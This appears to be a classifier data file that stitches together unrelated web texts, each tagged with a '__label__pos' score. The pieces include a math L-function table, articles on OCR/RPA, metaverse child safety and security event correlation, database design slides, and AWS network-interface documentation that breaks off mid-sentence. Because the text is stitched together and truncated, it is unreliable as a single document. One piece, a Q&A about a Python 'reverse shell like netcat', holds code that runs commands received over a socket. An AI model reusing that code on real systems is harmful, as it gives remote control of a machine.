)^{2} \) $7$ \( ( 1 - 2 T + 7 T^{2} )^{2} \) $11$ \( ( 1 - 4 T^{2} + 121 T^{4} )^{2} \) $13$ \( ( 1 - 20 T^{2} + 169 T^{4} )^{2} \) $17$ \( ( 1 + 31 T^{2} + 289 T^{4} )^{2} \) $19$ \( ( 1 - 32 T^{2} + 361 T^{4} )^{2} \) $23$ \( ( 1 + 26 T^{2} + 529 T^{4} )^{2} \) $29$ \( ( 1 - 40 T^{2} + 841 T^{4} )^{2} \) $31$ \( ( 1 - 8 T^{2} + 961 T^{4} )^{2} \) $37$ \( ( 1 - T + 37 T^{2} )^{4} \) $41$ \( ( 1 + 79 T^{2} + 1681 T^{4} )^{2} \) $43$ \( ( 1 + 7 T + 43 T^{2} )^{4} \) $47$ \( ( 1 - 53 T^{2} + 2209 T^{4} )^{2} \) $53$ \( ( 1 - 53 T^{2} )^{4} \) $59$ \( ( 1 + 43 T^{2} + 3481 T^{4} )^{2} \) $61$ \( ( 1 - 116 T^{2} + 3721 T^{4} )^{2} \) $67$ \( ( 1 - 10 T + 67 T^{2} )^{4} \) $71$ \( ( 1 - 70 T^{2} + 5041 T^{4} )^{2} \) $73$ \( ( 1 - 14 T + 73 T^{2} )^{2}( 1 + 14 T + 73 T^{2} )^{2} \) $79$ \( ( 1 + 5 T + 79 T^{2} )^{4} \) $83$ \( ( 1 + 19 T^{2} + 6889 T^{4} )^{2} \) $89$ \( ( 1 + 70 T^{2} + 7921 T^{4} )^{2} \) $97$ \( ( 1 - 188 T^{2} + 9409 T^{4} )^{2} \) show more show less
__label__pos
0.997108
OCR and RPA: Understand the Differences ocr and rpa Understanding the difference between OCR and RPA and how these technologies are revolutionizing business processes. The recognition and extraction of data from various document types is the first step in document management. Choosing the right tool is important to achieve a high level of accuracy for your business needs. In this article, we explore the two main data recognition technologies to evaluate the different terminologies and their core functions. Overview In order to understand OCR and RPA terminologies, let us first explore their definitions and how they work. OCR is short for Optical Character Recognition, ​​is the electronic or mechanical conversion of images of typed, handwritten, or printed text into machine-encoded text, whether from a scanned document, a photo of a document, a scene photo or from subtitle text superimposed on an image. RPA is short for Robotic Process Automation and is a form of business process automation technology based on metaphorical software robots or artificial intelligence. Optical Character Recognition (OCR) This powerful technology pulls text from image-based documents, such as PDFs or scanned invoices. The data is then converted into digital data or editable text. Robotic Process Automation (RPA) This intuitive software automates processes that are rule-based and mimic human behavior. Like a person looking at a document, the data is understood and processed into a digital format. History The need to convert standard text into digital text for indexing, searching, and editing is understandable and extremely valuable. As said by the members of Google’s Research Team –  “Many of the world’s important sources of information – books, newspapers, magazines, pamphlets, and historical documents – are not digital. Unlike digital documents, these paper-based sources of information are difficult to search through or edit.” Dmitriy Genzel and Ashok Popat, Research Scientists and Dhyanesh Narayanan, Product Manager Although the adoption of a digital and paperless environment is growing in recent years, the requirement is not new. Since the early 1900’s the recognition of data has been in development and has simply evolved over the years. Some background information into character recognition – source: Crown OCR and RPA Technology Explained Extracting information from invoices and documents is the most important task for your bookkeeping, accounting, or financial businesses. The data needs to be accurate and offer the efficiency and simplicity to streamline capturing and approval processes. How it works OCR: Your eyes recognize light and dark patterns to determine letters, numbers, and so on to make sense of what you are reading. So too does OCR technology use pattern recognition and feature detection, such as identifying line directions and intersections, to identify text from images. RPA: Again, as you are able to determine what is on your screen and do things like typing, navigating, recognizing, and extracting data, RPA technology is developed to perform all of these actions. The software robots emulate human behavior and work more efficiently than humans. Benefits and Challenges of OCR and RPA Both OCR and RPA streamline workflows and improve productivity. They are also easily implemented and noninvasive. The technologies eliminate the mundane manual tasks and free up time for humans to do what they are best at. DOKKA AI incorporating OCR and RPA technologies DOKKA’s Automated Accounting Processes – OCR and RPA technologies allow data to be captured in seconds so that bookkeeping entries are created in 3 simple steps The improved accuracy offered by both effectively improves workflows. Combined with the reduction in human error, the risk of lost documents, manual processes, and rekeying information is dramatically eliminated. The ability to have documents in a digital format provides the opportunity to do many things including very fast retrieval of data and a reduction in the amount of physical space required to store documents. The challenges arise from the differences in OCR and RPA capabilities: • OCR is suited for simple translation of images to text. It does not work well with more complicated documents and requirements. It also does not work well with all foreign languages. • RPA usually works better with structured data that is already established within a system. DOKKA’s A.I., OCR and RPA It is important to note the difference in all terminologies and how they correlate with one another. A combination of A.I. with OCR and RPA presents massive opportunities to unlock the potential within business processes. A.I. such as machine learning and language processing creates possibilities to further expand system skills. The DOKKA solution has been developed with a sophisticated algorithm including these intuitive and powerful technologies to recognize documentation with the highest level of speed and accuracy. DOKKA can extract data from any document type and its language-agnostic technology expands its abilities to extract data. Read more about DOKKA’s Technology here. ith us. Share this post:
__label__pos
0.723394
Chiamare per urgenze #1 Posso ricevere una chiamata in caso di minimo movimento? #2 Hi Matteo, Thank you for reaching out to Alfred! Could you please check two things? 1. Make sure notifications have been enabled in the app: 1. Make sure you have allowed notifications from Alfred on your device. Let us know if you need further assistance!
__label__pos
1
Minors in the Metaverse: What You Need to Know About Safety   What sort of online mischief did you get up to before you reached 18? You likely came across some form of explicit content or an unsavory individual through gaming, social media, or another peer-to-peer network. Considering the expansive nature of the world wide web and the confidence that anonymity affords, the internet can be a scary place for kids and teens. While a wide array of parental controls are available to help protect minors on the internet, the same isn’t entirely true for the metaverse. Built on the blockchain and designed around the idea of decentralization, the metaverse’s current form can feel like the wild west, with a lack of regulation that can be intimidating and undeniably dangerous for kids. While many preach for an open and accessible metaverse, it begs the question of whether or not the fabled next iteration of the internet will cater to children like any other user. If that’s the case, how might we protect the next generation from the objectionable parts of the internet? Can age restrictions exist on the blockchain? Or would implementing restrictions in the metaverse go against the core values of Web3 in the first place? What we mean by “metaverse” The term “metaverse” has been defined in a range of ways. For big-name companies like Meta, the term refers to 3D worlds that hinge on virtual or augmented reality. To this end, media, gaming, and tech giants might consider the metaverse as an experience to be built, marketed, and sold. But that doesn’t sound like the vast, permissionless, limitless metaverse many envisioned when reading Snow Crash, where author Neal Stephenson’s coined the term. While the VR versions of the metaverse are undoubtedly valid and important, according to many in Web3, the metaverse can only be built on the blockchain with NFTs, crypto, and other forms of decentralized technology. As of 2023, the future of the metaverse and how it might coincide with these Web3 technologies is still unwritten. As a result, it’s difficult to say what might actually come to fruition. The debate surrounding whether or not the metaverse should be open, trustless, and decentralized, or defined by tech giants aside, the matter of minors being allowed to access it will depend on which of these two versions we’re talking about. 20/ tl;dr The Metaverse will actually happen this decade. If it is open, human innovation will flourish. If it is closed, we are digital serfs of sorts. We 100,000 or so people right now are the front-line in this battle and we have to do it ourselves — 6529 (@punk6529) August 22, 2021 Are metaverse parental controls even possible? Parental controls are features included with streaming services, game consoles, mobile devices, and computers that allow parents to restrict what content their children can access and monitor activity. Both millennials and gen z are likely familiar with these tools, as they’ve been giving adult guardians peace of mind since 1994. While parental controls are undoubtedly helpful in, say, keeping 13-year-olds from watching programs with mature ratings or accessing apps and websites meant for adults, they’re only as robust as the technology they seek to control. So, could parental controls be implemented in the impressively robust metaverse? The answer is both yes and no. If we’re defining the metaverse as 3D virtual worlds, then yes, any VR headset or gaming computer can be restricted through factory features or third-party apps. Despite evolving technologies, this will likely always be the case with hardware. While the metaverse’s VR Murderville Strip Club (not a real thing) might not have an age restriction implemented, guardians can still set restrictions on kids’ hardware to prevent access. On the other hand, what can a parent do about their kids accessing the aforementioned iteration of the metaverse as dictated by Web3? In this metaverse, “real” money is on the line as artists sell NFTs, collectors flip crypto-art for profit, and scammers are always out to shanghai one of the two (or both). Not to mention the often negative and potentially even toxic nature of some Web3 communities. A few things must be taken into consideration in this case. First, it is possible that parents can restrict the websites their child visits — so no more OpenSea, Rarible, Magic Eden, Nifty Gateway, etc. That’s a partial fix, sure. Second, minors likely won’t have access to a bank account, so that means no cashing crypto in/out. Of course, setting a parental block on wallet services like Rainbow or MetaMask wouldn’t stop someone else from sending coins to the wallet of someone under 18. But say none of this works. Kids are capable of getting around these parental controls. Maybe a minor has a software wallet downloaded and hidden on their phone. Or perhaps they’re accessing Somnium Space, The Sandbox, or Decentraland (all blockchain-powered and rated for all ages) at school? Or if they’re really skilled, maybe they’re just minting NFTs at a contract level or using swap/trading apps that circumvent the major marketplaces known to and restricted by parents? This might be an extreme case, but it goes far beyond taking away the child’s VR headset. And due to the decentralized and permissionless nature of the blockchain, there isn’t much a guardian could do. Are age restrictions at odds with Web3 values? If there were to be parental controls or age restrictions set in place in the decentralized metaverse, it would take some real finessing. Almost anyone can download a software wallet and use Wyre or MoonPay to purchase crypto with a credit card (perhaps not even their own). And because the goal of a significant portion of Web3 brands is mainstream adoption, the barriers of entry to the NFT space and the interoperable metaverse are only getting lower. Say a company does come out with an app geared only towards kids or one that blocks computer and device access to all Web3 and NFT sites and platforms. That could be an easy win for parents. But there are still a couple of challenges. First, there’s the issue of nefarious characters potentially infiltrating a kid-approved metaverse. Further, it’s doubtful that a solution will emerge that would filter out only the explicit parts of Web3 (CryptoDickButts, skill games/gambling, nude NFTs, etc.) while allowing minors access to others. Achieving this would require significant human effort to identify the nature of the content and leverage subjective qualitative metrics. Considering the constantly growing NFT market and the wide variety of blockchains and hosting services associated with the metaverse, this feat seems quite unachievable for any Web3 startup. Even if a service like this did exist, it could be considered contrary to the values and ethos of Web3. Because within the communities that use the blockchain as a stomping ground, one value remains a consistent commonality: the burning desire for decentralization. While in some cases, this may only pertain to decentralized finance, the idyllic builders of Web3 have long scoffed at the restrictive nature of the legacy financial, technological, and creative industries. 1/ On Decentralization and NFTs The arc of human progress trends to decentralization, but the internet and machine learning could lead to the greatest centralization known to man — 6529 (@punk6529) August 19, 2021 provenance over IP, decentralization over centralization, open source over closed source, incentive compatible over greedy. if you do these right you can build something unstoppable — 4156 (@punk4156) July 22, 2021 This is especially true considering the mixed bag of legal issues the blockchain has experienced over the past year. While the NFT space applauded the arrest of Sam Bankman-Fried following the gut-wrenching saga that was the fall of FTX, SEC probes into prominent projects and trusted crypto exchanges have left many in fear of impending, restrictive regulation. So would parental controls, age restrictions, or some other form of heavy-handed content-blocking find a warm welcome in Web3? Not likely. Of course, this is based on the principles of the community that exists on the blockchain. That is to say that, for them, centralized power is bad. As for the moral question of needing to protect minors from the insurmountable “ick” that exists online and (in some forms) on-chain, considering the personal nature of the question, there may be no easy consensus reached by those in Web3. More on the moral conundrum The adverse side effects of social media on minors (especially children) have been chronicled many times over. Considering the depression, self-harm, and other mental health issues associated with platforms like Instagram, it makes sense that the metaverse could exacerbate these effects. However, this has yet to be studied, seen, or measured on a mass scale. And even so, the potential benefits abound. The metaverse might provide a significant advantage for familial home life, from engaging learning opportunities to new avenues for building social skills and the potential for parents to bond with their children over the exciting possibilities of the future. When all is said and done, the real conversation surrounding whether or not kids should be allowed into the metaverse is one of morals and ethics. As always, it’s up to the discretion of parents and guardians to decide what’s most fitting for their kids. Although, for the moment, the only solution to implementing parental guidelines in the metaverse seems to be “all or nothing,” perhaps the best course of action for keeping kids safe is through education. If the metaverse is inevitable, then teaching the next generation the skills they need to stay safe and flourish — such as how to steer clear of scams, knowing how the blockchain functions, and best practices for wallet safety — will be essential. The post Minors in the Metaverse: What You Need to Know About Safety appeared first on nft now.   生成海报 发表回复 您的电子邮箱地址不会被公开。 必填项已用*标注
__label__pos
0.589898
UnicodeDecodeError in client server communication when accessing Desktop Question: I want to write a reverse shell like netcat. Everything works fine, but after several commands typed in, the client machine throws an error. I managed to identify the problem. When I change to the Desktop directory on the server, for example C:/Users/Desktop and I type in the command "dir" the error gets thrown on the client machine. Note that open_shell is a boolean that I set to True with passing an argument to the program server code: '''creates server''' server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.connect((target, port)) print(f"[*] Connecting to client ...", os.linesep) client_msg = server.recv(buffer_size).decode() print("[*] current directory: ", client_msg) # opening a reverse shell to client if open_shell: server.send("open shell".encode()) print(server.recv(buffer_size).decode()) while True: command = input(">>") if command.lower() == "exit": print("[*] Closing connection ...") break if not command.strip(): continue else: server.send(command.encode()) output = server.recv(buffer_size).decode() print(output) client code: '''creates client''' global target if not len(target): target = "0.0.0.0" client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) client.bind((target, port)) client.listen(5) client_socket, addr = client.accept() print("[*] Connected to server ...") cwd = os.getcwd() client_socket.send(cwd.encode()) command = client_socket.recv(buffer_size).decode() if command.lower() == "exit": print("[*] Connection closed by server ...") break if command.lower() == "open shell": client_socket.send("[*] reverse shell establishedn[*] To exit reverse shell type in 'exit'".encode()) while True: execute = client_socket.recv(buffer_size).decode() if execute.lower() == "exit": break message = run_command(execute) # executes command on client client_socket.send(message.encode()) The error is located in the process module in the function "communicate" but I can’t figure out wants going on. Error: Traceback (most recent call last): File "netcat.py", line 200, in <module> main() File "netcat.py", line 195, in main client_object() File "netcat.py", line 122, in client_object message = run_command(execute) # executes command on client ^^^^^^^^^^^^^^^^^^^^ File "netcat.py", line 33, in run_command output = subprocess.getoutput(command) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "PythonPython311Libsubprocess.py", line 689, in getoutput return getstatusoutput(cmd, encoding=encoding, errors=errors)[1] ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "PythonPython311Libsubprocess.py", line 669, in getstatusoutput data = check_output(cmd, shell=True, text=True, stderr=STDOUT, ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "PythonPython311Libsubprocess.py", line 465, in check_output return run(*popenargs, stdout=PIPE, timeout=timeout, check=True, ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "PythonPython311Libsubprocess.py", line 548, in run stdout, stderr = process.communicate(input, timeout=timeout) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "PythonPython311Libsubprocess.py", line 1192, in communicate stdout = self.stdout.read() ^^^^^^^^^^^^^^^^^^ File "PythonPython311Libencodingscp1252.py", line 23, in decode return codecs.charmap_decode(input,self.errors,decoding_table)[0] ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ UnicodeDecodeError: 'charmap' codec can't decode byte 0x81 in position 323: character maps to <undefined> Asked By: Dennis || Answers: Before starting Python, set your environment variable PYTHONIOENCODING=utf-8. Answered By: Mark Ransom
__label__pos
0.927938
/** SimpleHTTPServer by Ramin Soleymani This example creates a HTTP Server listening on port 8000 and serves the index.html file, which is located in the data folder. The Server is also listening to PUT requests under the URL /echo, which should contains a JSON Object with a requestNumber value. The server responds with a JSON Object that contains a responseNumber. Check the index.html on how to create a JSON PUT request. The server is accessible under the root url: http://localhost:8000/ or http://127.0.0.1:8000/ or in the network under http://:8000/ More info: http://transfluxus.github.io/SimpleHTTPServer/ */ import http.*; SimpleHTTPServer server; void setup() { // Create a server listening on port 8000 // serving index.html,which is in the data folder server = new SimpleHTTPServer(this); // create a custom Responsehandler with the class JSONEcho, that is defined below // and extends from ResponseBuilder. It returns some json. DynamicResponseHandler responder = new DynamicResponseHandler(new JSONEcho(), "application/json"); // It responds to a PUT on url /echo server.createContext("echo", responder); } class JSONEcho extends ResponseBuilder { /** This abstract function needs to be overwritten. In this example the json request needs to include a requestNumber. It then returns the same JSONObject but adds responseNumber,which is the double of requestNumber */ public String getResponse(String requestBody) { JSONObject json = parseJSONObject(requestBody); int number = json.getInt("requestNumber"); json.setInt("responseNumber", number*2); return json.toString(); } }
__label__pos
0.950683
Bài giảng Database System - Chapter 6. Relational Database Design by ER- And EERR-to-Relational Mapping Step 9: Mapping of Union Types (Categories). For mapping a category whose defining superclass have different keys, it is customary to specify a new key attribute, called a surrogate key, when creating a relation to correspond to the category. In the example below we can create a relation OWNER to correspond to the OWNER category and include any attributes of the category in this relation. The primary key of the OWNER relation is the surrogate key, which we called OwnerId. ppt31 trang | Chia sẻ: vutrong32 | Ngày: 19/10/2018 | Lượt xem: 131 | Lượt tải: 0download Bạn đang xem trước 20 trang tài liệu Bài giảng Database System - Chapter 6. Relational Database Design by ER- And EERR-to-Relational Mapping, để xem tài liệu hoàn chỉnh bạn click vào nút DOWNLOAD ở trên Chapter 6 Relational Database Design by ER- and EERR-to-Relational MappingCopyright © 2004 Pearson Education, Inc.Chapter OutlineER-to-Relational Mapping Algorithm Step 1: Mapping of Regular Entity Types Step 2: Mapping of Weak Entity Types Step 3: Mapping of Binary 1:1 Relation Types Step 4: Mapping of Binary 1:N Relationship Types. Step 5: Mapping of Binary M:N Relationship Types. Step 6: Mapping of Multivalued attributes. Step 7: Mapping of N-ary Relationship Types.Mapping EER Model Constructs to Relations Step 8: Options for Mapping Specialization or Generalization. Step 9: Mapping of Union Types (Categories).Slide 6 -* ER-to-Relational Mapping AlgorithmStep 1: Mapping of Regular Entity Types.For each regular (strong) entity type E in the ER schema, create a relation R that includes all the simple attributes of E.Choose one of the key attributes of E as the primary key for R. If the chosen key of E is composite, the set of simple attributes that form it will together form the primary key of R. Example: We create the relations EMPLOYEE, DEPARTMENT, and PROJECT in the relational schema corresponding to the regular entities in the ER diagram. SSN, DNUMBER, and PNUMBER are the primary keys for the relations EMPLOYEE, DEPARTMENT, and PROJECT as shown.Slide 6 -* The ER conceptual schema diagram for the COMPANY database.Slide 6 -* Result of mapping the COMPANY ER schema into a relational schema.Slide 6 -* ER-to-Relational Mapping Algorithm (cont)Step 2: Mapping of Weak Entity TypesFor each weak entity type W in the ER schema with owner entity type E, create a relation R and include all simple attributes (or simple components of composite attributes) of W as attributes of R.In addition, include as foreign key attributes of R the primary key attribute(s) of the relation(s) that correspond to the owner entity type(s).The primary key of R is the combination of the primary key(s) of the owner(s) and the partial key of the weak entity type W, if any. Example: Create the relation DEPENDENT in this step to correspond to the weak entity type DEPENDENT. Include the primary key SSN of the EMPLOYEE relation as a foreign key attribute of DEPENDENT (renamed to ESSN). The primary key of the DEPENDENT relation is the combination {ESSN, DEPENDENT_NAME} because DEPENDENT_NAME is the partial key of DEPENDENT. Slide 6 -* ER-to-Relational Mapping Algorithm (cont)Step 3: Mapping of Binary 1:1 Relation Types For each binary 1:1 relationship type R in the ER schema, identify the relations S and T that correspond to the entity types participating in R. There are three possible approaches: (1) Foreign Key approach: Choose one of the relations-S, say-and include a foreign key in S the primary key of T. It is better to choose an entity type with total participation in R in the role of S. Example: 1:1 relation MANAGES is mapped by choosing the participating entity type DEPARTMENT to serve in the role of S, because its participation in the MANAGES relationship type is total. (2) Merged relation option: An alternate mapping of a 1:1 relationship type is possible by merging the two entity types and the relationship into a single relation. This may be appropriate when both participations are total. (3) Cross-reference or relationship relation option: The third alternative is to set up a third relation R for the purpose of cross-referencing the primary keys of the two relations S and T representing the entity types. Slide 6 -* ER-to-Relational Mapping Algorithm (cont)Step 4: Mapping of Binary 1:N Relationship Types.For each regular binary 1:N relationship type R, identify the relation S that represent the participating entity type at the N-side of the relationship type. Include as foreign key in S the primary key of the relation T that represents the other entity type participating in R. Include any simple attributes of the 1:N relation type as attributes of S. Example: 1:N relationship types WORKS_FOR, CONTROLS, and SUPERVISION in the figure. For WORKS_FOR we include the primary key DNUMBER of the DEPARTMENT relation as foreign key in the EMPLOYEE relation and call it DNO. Slide 6 -* ER-to-Relational Mapping Algorithm (cont)Step 5: Mapping of Binary M:N Relationship Types.For each regular binary M:N relationship type R, create a new relation S to represent R. Include as foreign key attributes in S the primary keys of the relations that represent the participating entity types; their combination will form the primary key of S. Also include any simple attributes of the M:N relationship type (or simple components of composite attributes) as attributes of S. Example: The M:N relationship type WORKS_ON from the ER diagram is mapped by creating a relation WORKS_ON in the relational database schema. The primary keys of the PROJECT and EMPLOYEE relations are included as foreign keys in WORKS_ON and renamed PNO and ESSN, respectively. Attribute HOURS in WORKS_ON represents the HOURS attribute of the relation type. The primary key of the WORKS_ON relation is the combination of the foreign key attributes {ESSN, PNO}. Slide 6 -* ER-to-Relational Mapping Algorithm (cont)Step 6: Mapping of Multivalued attributes.For each multivalued attribute A, create a new relation R. This relation R will include an attribute corresponding to A, plus the primary key attribute K-as a foreign key in R-of the relation that represents the entity type of relationship type that has A as an attribute. The primary key of R is the combination of A and K. If the multivalued attribute is composite, we include its simple components. Example: The relation DEPT_LOCATIONS is created. The attribute DLOCATION represents the multivalued attribute LOCATIONS of DEPARTMENT, while DNUMBER-as foreign key-represents the primary key of the DEPARTMENT relation. The primary key of R is the combination of {DNUMBER, DLOCATION}.Slide 6 -* ER-to-Relational Mapping Algorithm (cont)Step 7: Mapping of N-ary Relationship Types.For each n-ary relationship type R, where n>2, create a new relationship S to represent R.Include as foreign key attributes in S the primary keys of the relations that represent the participating entity types. Also include any simple attributes of the n-ary relationship type (or simple components of composite attributes) as attributes of S. Example: The relationship type SUPPY in the ER below. This can be mapped to the relation SUPPLY shown in the relational schema, whose primary key is the combination of the three foreign keys {SNAME, PARTNO, PROJNAME}Slide 6 -* Ternary relationship types. (a) The SUPPLY relationship. Slide 6 -*Mapping the n-ary relationship type SUPPLYSlide 6 -* Summary of Mapping constructs and constraints Table 7.1 Correspondence between ER and Relational ModelsER Model Relational ModelEntity type “Entity” relation1:1 or 1:N relationship type Foreign key (or “relationship” relation)M:N relationship type “Relationship” relation and two foreign keysn-ary relationship type “Relationship” relation and n foreign keysSimple attribute AttributeComposite attribute Set of simple component attributesMultivalued attribute Relation and foreign keyValue set DomainKey attribute Primary (or secondary) keySlide 6 -*Mapping EER Model Constructs to Relations Step8: Options for Mapping Specialization or Generalization. Convert each specialization with m subclasses {S1, S2,.,Sm} and generalized superclass C, where the attributes of C are {k,a1,an} and k is the (primary) key, into relational schemas using one of the four following options: Option 8A: Multiple relations-Superclass and subclasses. Create a relation L for C with attributes Attrs(L) = {k,a1,an} and PK(L) = k. Create a relation Li for each subclass Si, 1 < i < m, with the attributesAttrs(Li) = {k} U {attributes of Si} and PK(Li)=k. This option works for any specialization (total or partial, disjoint of over-lapping). Option 8B: Multiple relations-Subclass relations only Create a relation Li for each subclass Si, 1 < i < m, with the attributes Attr(Li) = {attributes of Si} U {k,a1,an} and PK(Li) = k. This option only works for a specialization whose subclasses are total (every entity in the superclass must belong to (at least) one of the subclasses).Slide 6 -* EER diagram notation for an attribute-defined specialization on JobType.Slide 6 -*Options for mapping specialization or generalization. (a) Mapping the EER schema using option 8A. Slide 6 -*Generalization. (b) Generalizing CAR and TRUCK into the superclass VEHICLE.Slide 6 -*Options for mapping specialization or generalization. (b) Mapping the EER schema using option 8B. Slide 6 -*Mapping EER Model Constructs to Relations (cont) Option 8C: Single relation with one type attribute. Create a single relation L with attributes Attrs(L) = {k,a1,an} U {attributes of S1} UU {attributes of Sm} U {t} and PK(L) = k. The attribute t is called a type (or discriminating) attribute that indicates the subclass to which each tuple belongs Option 8D: Single relation with multiple type attributes. Create a single relation schema L with attributes Attrs(L) = {k,a1,an} U {attributes of S1} UU {attributes of Sm} U {t1, t2,,tm} and PK(L) = k. Each ti, 1 < I < m, is a Boolean type attribute indicating whether a tuple belongs to the subclass Si.Slide 6 -*EER diagram notation for an attribute-defined specialization on JobType.Slide 6 -* Options for mapping specialization or generalization. (c) Mapping the EER schema using option 8C.Slide 6 -*EER diagram notation for an overlapping (nondisjoint) specialization.Slide 6 -*Options for mapping specialization or generalization. (d) Mapping using option 8D with Boolean type fields Mflag and Pflag.Slide 6 -*Mapping EER Model Constructs to Relations (cont)Mapping of Shared Subclasses (Multiple Inheritance) A shared subclass, such as STUDENT_ASSISTANT, is a subclass of several classes, indicating multiple inheritance. These classes must all have the same key attribute; otherwise, the shared subclass would be modeled as a category. We can apply any of the options discussed in Step 8 to a shared subclass, subject to the restriction discussed in Step 8 of the mapping algorithm. Below both 8C and 8D are used for the shared class STUDENT_ASSISTANT. Slide 6 -*A specialization lattice with multiple inheritance for a UNIVERSITY database.Slide 6 -*Mapping the EER specialization lattice using multiple options.Slide 6 -*Mapping EER Model Constructs to Relations (cont)Step 9: Mapping of Union Types (Categories).For mapping a category whose defining superclass have different keys, it is customary to specify a new key attribute, called a surrogate key, when creating a relation to correspond to the category. In the example below we can create a relation OWNER to correspond to the OWNER category and include any attributes of the category in this relation. The primary key of the OWNER relation is the surrogate key, which we called OwnerId. Slide 6 -*Two categories (union types): OWNER and REGISTERED_VEHICLE.Slide 6 -*Mapping the EER categories (union types) to relations.Slide 6 -*Mapping ExerciseExercise 7.4.FIGURE 7.7 An ER schema for a SHIP_TRACKING database. Slide 6 -* Các file đính kèm theo tài liệu này: • pptdatabasesystem_ch6_6189.ppt Tài liệu liên quan
__label__pos
0.994036
dcsimg Boosting Your Security Confidence SHARE Share it on Twitter   Share it on Facebook   Share it on Google+ Share it on Linked in   Email   Slammer, Blaster and SoBig may have shaken your confidence in IT security. Why do these threats continue to plague us, and how can your organization be better prepared to handle the next piece of malware that appears on the Internet? The key to IT security confidence is effective security event management. And the secret to effective security event management is real-time correlation -- integrating and analyzing data from all your security systems. Architecturally, there are two principal approaches used in correlation today. One is query-based correlation, which relies on all the data being present in a database for later analysis. The other uses in-memory techniques. Additionally, there are at least two fundamentally distinct ways of examining data during the correlation process itself -- rules-based and state-based. Query-Based Data Warehousing Since databases are a well-known technology, this approach has the advantage of being more comfortable for many end-user organizations. Relational databases are well-known technology platforms with skills readily available. When used for correlation, sophisticated queries are executed against the event data warehouse to identify important relationships that indicate a potential threat against your organization. However, the stream of inbound events generates massive, sustained insert rates. As data tables grow they need to be aggressively managed in order to maintain performance. Additionally, it is difficult to optimize a database solution for both high sustained insert rates and querying; and it is the querying that is performing the correlation. You will also have a certain inevitable latency between event data arriving and it being correlated, depending on the database implementation, since the data must first be stored and then retrieved during the correlation process. From an application perspective, the correlation is only as good as the data contained in the warehouse. This may be good enough for many uses, but a query-based solution will be unable to easily acquire more data from additional sources to enrich the correlation process. This limitation becomes increasingly important if you are trying to tie your security correlation into downstream effects -- a warehouse-based solution is unlikely to be able to take into account an event's actual impact during correlation. In-Memory Event-Driven Correlation The alternate approach is "computational correlation," where the correlation server processes the inbound event in memory as it arrives, without requiring a database to feed the correlation process. These solutions are typically much faster than query-based solutions, and scale out more easily. This is because the latency involved with the database store/query cycle is no longer part of the correlation process. This can give the computational approach faster performance, greater architectural flexibility, and lower bandwidth needs. Also, since these solutions aren't constrained by the data in the database, it may be easier for a vendor to enable them to fetch contextual information from other sources, potentially delivering higher value in the eventual result. However, all data from a memory-based solution needs to get into a database eventually for reporting and analysis purposes. For memory-based solutions, an important part of their long-term performance is to understand when and how that persistence is delivered -- whether the storage happens concurrently with correlation, or consecutively. Correlation Definitions Riding on top of these different architectures are various ways of defining how the correlation itself (the linking of apparently independent events) is defined. Rules-based approaches are easy to understand. They're procedural, use programming language like syntax (maybe aided by some kind if GUI wizard), and are therefore relatively easy to comprehend. One way to think about rules is that they're typically used to define "attack signatures." As a result, rule-sets tend to mushroom over time, and can become difficult to manage. Rules tend to be modified reactively, as the result of an attack getting through -- they don't know what they don't know. State-based approaches, however, tend not to look for specific event sequences (if A then B, then deduce C); rather they can be used to detect higher-level patterns of behavior that indicate threats. The advantage of this approach is that state-based tracking doesn't tend to expand at nearly the same rate as rules-based approaches. State-based solutions also may be more robust to sequence errors (say when B arrives before A, perhaps due to a network problem). On the other hand, the very power of state-based solutions means that you cannot necessarily point to a rule that specifically identifies, say, Code Red, because state-based approaches typically run at a higher level of abstraction. They'll catch a Code Red, but there's no rule specifically for it. As an alternative approach, this can be powerful, but takes some getting used to. Picking the Approach When reviewing real-time correlation approaches, you need to weigh the different options against your own perceived needs. Key questions and issues to decide may include: • How much latency is important in your emergency response environment? • What sustained data rates are you expecting, and how will the different architectures handle them? • Does the underlying approach matter to you, if so how? • Ultimately, if you are considering a real-time threat identification solution, nothing beats a comprehensive evaluation, selection and testing process. But being an informed buyer makes it much more likely that the solution you pick will continue to meet your needs for longer. Phil Hollows is vice president of security products for OpenService, a vendor of network security event management products. Submit a Comment Loading Comments... NewsletterDATAMATION DAILY NEWSLETTER SUBSCRIBE TO OUR IT MANAGEMENT NEWSLETTER
__label__pos
0.773943
Menu Amazon Elastic Compute Cloud User Guide for Windows Instances Elastic Network Interfaces An elastic network interface (referred to as a network interface in this documentation) is a logical networking component in a VPC that represents a virtual network card. A network interface can include the following attributes: • A primary private IPv4 address from the IPv4 address range of your VPC • One or more secondary private IPv4 addresses from the IPv4 address range of your VPC • One Elastic IP address (IPv4) per private IPv4 address • One public IPv4 address • One or more IPv6 addresses • One or more security groups • A MAC address • A source/destination check flag • A description You can create and configure network interfaces in your account and attach them to instances in your VPC. Your account might also have requester-managed network interfaces, which are created and managed by AWS services to enable you to use other resources and services. You cannot manage these network interfaces yourself. For more information, see Requester-Managed Network Interfaces. All network interfaces have the eni-xxxxxxxx resource identifier. Important The term 'elastic network interface' is sometimes shortened to 'ENI'. This is not the same as the Elastic Network Adapter (ENA), which is a custom interface that optimizes network performance on some instance types. For more information, see Enhanced Networking on Windows. Network Interface Basics You can create a network interface, attach it to an instance, detach it from an instance, and attach it to another instance. The attributes of a network interface follow it as it's attached or detached from an instance and reattached to another instance. When you move a network interface from one instance to another, network traffic is redirected to the new instance. You can also modify the attributes of your network interface, including changing its security groups and managing its IP addresses. Every instance in a VPC has a default network interface, called the primary network interface (eth0). You cannot detach a primary network interface from an instance. You can create and attach additional network interfaces. The maximum number of network interfaces that you can use varies by instance type. For more information, see IP Addresses Per Network Interface Per Instance Type. Public IPv4 addresses for network interfaces In a VPC, all subnets have a modifiable attribute that determines whether network interfaces created in that subnet (and therefore instances launched into that subnet) are assigned a public IPv4 address. For more information, see IP Addressing Behavior for Your Subnet in the Amazon VPC User Guide. The public IPv4 address is assigned from Amazon's pool of public IPv4 addresses. When you launch an instance, the IP address is assigned to the primary network interface (eth0) that's created. When you create a network interface, it inherits the 